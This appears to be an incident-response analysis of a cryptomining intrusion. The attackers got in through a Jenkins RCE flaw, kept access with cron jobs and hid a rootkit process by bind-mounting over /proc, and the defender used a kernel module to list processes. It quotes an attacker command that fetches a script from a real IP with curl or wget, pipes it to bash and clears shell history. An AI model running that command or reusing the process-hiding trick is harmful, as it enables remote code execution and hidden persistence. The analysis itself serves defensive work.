Recently, a domestic hacker group was found using 0889.org as a malicious sample address and communication domain. Hereafter, it will be referred to as the 0889 organization. During a recent investigation of a cloud mining case, it was discovered that this group exploited the Jenkins RCE vulnerability to breach the perimeter, moved laterally within the internal network, gained host privileges, and then distributed mining and rootkit backdoors in bulk.

There isnât much to say about the mining itself. This article focuses on analyzing the rootkit backdoor hiding techniques used by this organization and the emergency investigation approach.
Jenkins RCE Vulnerability Breach

In the host security console, the initial payload from the attacker has been successfully captured.

By exploiting the Jenkins remote code execution vulnerability, the initial malicious script is downloaded and executed. The payload from the network attack can be linked to the execution process chain on the host, indicating that the host has been compromised.
Internal Network Lateral Scanning
By auditing the historical commands executed on the Jenkins server.

The earliest compromise time on the host was identified as 2024-10-13.

Modifying Scheduled Tasks

The content of the corresponding 1.sh script is as follows. The scheduled task content is to automatically download and execute the malicious script every 5 minutes.

Analyzing multiple malicious files under this domain, the shell scripts all have clear comments, suggesting they were written by large models like chatGPT.
Distributing Mining Programs

Up to this point, all the above actions are considered routine intrusions. However, after cleaning up the mining, the next morning, the /etc/crontab file on all hosts in the internal network was modified again to include the previous malicious commands. This indicates that there must still be a backdoor process on the host, or a backdoor daemon added by the hacker.
Rootkit Backdoor Investigation
Since the hacker modified multiple system command files on the host, it is initially impossible to determine the specific backdoor process file without analyzing the samples.

The host security system monitors the scheduled task files. Analyzing the process tree reveals that the parent process is bash, executing the command:
sh -c (curl -fsSL 8.210.186.110/script/1.sh || wget -q -O - 8.210.186.110/script/1.sh) | bash -s 3;history -c > /dev/null 2> &1
However, the host security system cannot record the parent process of the curl command, meaning it is unknown who called curl to download and execute the shell script to modify the cron scheduled task file again. This parent process is most likely the hidden backdoor process.

Additionally, the malicious domain request monitoring issued by the host security system cannot locate the specific initiating process and PID.
Using busyboxâs ps and netstat commands also did not reveal any abnormal external connections or suspicious processes.
From the above characteristics, the hidden backdoor process is not hijacking at the application layer but at the kernel layer.
Kernel DNS Monitoring to Locate Backdoor Process PID
Developing ko Kernel Module to Monitor DNS Request Processes Without Dependencies
In previous emergency response processes, monitoring the PID of processes initiating malicious DNS requests was relatively complex. Most existing practical approaches use eBPF and SystemTap to hook at the kernel layer. However, the clientâs machine environments are usually very complex, so last year I developed a targeted ko kernel module that only requires manual compilation and loading into the kernel on the clientâs machine each time.

However, if we already know the PID of the corresponding hidden process, we can enter the directory of that process.

Kernel Layer Hook for Quick Backdoor Process PID Location
Since we already know that the backdoor process PID can only be located at the kernel layer, there is no need to perform DNS kernel packet capture on all hosts. Packet capture is passive and cannot quickly locate the backdoor process if it does not trigger a request.
A better solution is to directly load a new ko module that prints the PIDs of all running processes at the kernel layer. The core code logic is as follows:
static void print_process_info(void) { struct task_struct *task; int process_count = 0; char *path_buf; // Changed to pointer // Dynamically allocate memory path_buf = kmalloc(PATH_MAX, GFP_KERNEL); if (!path_buf) { printk(KERN_ERR "Failed to allocate memory for path buffer\n"); return; } printk(KERN_INFO "================ Process List Start ================\n"); printk(KERN_INFO "FORMAT: [PID] PROCESS_NAME STATE PPID\n"); printk(KERN_INFO " exe -> PATH\n"); for_each_process(task) { char *state_str; printk(KERN_INFO "[%d] %s State:%s PPID:%d\n", task-> pid, task-> comm, state_str, task-> parent-> pid); get_process_path(task, path_buf, PATH_MAX); if (path_buf[0] != '\0') { check_deleted_file(task, path_buf, PATH_MAX); printk(KERN_INFO " exe -> %s\n", path_buf); } if (task-> group_leader == task && !list_empty(&task-> thread_group)) { struct task_struct *thread; list_for_each_entry(thread, &task-> thread_group, thread_group) { if (thread != task) { printk(KERN_INFO " |-[%d] %s (thread of %d)\n", thread-> pid, thread-> comm, task->pid); get_process_path(thread, path_buf, PATH_MAX); if (path_buf[0] != '\0') { check_deleted_file(thread, path_buf, PATH_MAX); printk(KERN_INFO " exe -> %s\n", path_buf); } } } } process_count++; } printk(KERN_INFO "Total number of processes: %d\n", process_count); printk(KERN_INFO "================ Process List End ================\n"); // Free memory kfree(path_buf); }


Using Ansible to distribute tasks in bulk can quickly locate the rootkit backdoor process PID on each machine, and you can directly kill the process PID. However, for cleaning up a machine that has been implanted with a rootkit, the best practice is still to reinstall the system.
Sample Analysis

Extract the backdoor process file to the sandbox for analysis. So far, it still appears clean.

However, in behavioral analysis, we can indeed find the domain name information that the sample connects back to.
mount âbind Mounting to Hide Processes
Through sample analysis, it was found that process hiding is implemented in another pre-installed malicious program in mcron.

Normal use of mount âbind:
mount --bind /source /target # Mount the source directory to the target directory
This makes accessing /target actually show the contents of /source.
In the malicious program, the main purpose of mount --bind
mounting the /proc directory is to hide the real process information.
mount --bind %s /proc/%d # %s could be an empty directory or forged process information
This overwrites the original process directory content, making system tools (ps, top, netstat, etc.) unable to see the real process information. The process is still running, just âcovered upâ.
/proc is a virtual file system that dynamically displays process information. mount âbind can overwrite the original mount point. Even if the original /proc entries are covered, the process can continue running. System tools rely on /proc to obtain process information, so they will be deceived.
The corresponding detection method is:
mount | grep proc


Then you can normally kill the process.
Summary
From recent emergency cases, it seems that black and gray market samples are mostly generated by large AI models. Security confrontation has gradually evolved from human-to-human to AI-to-AI.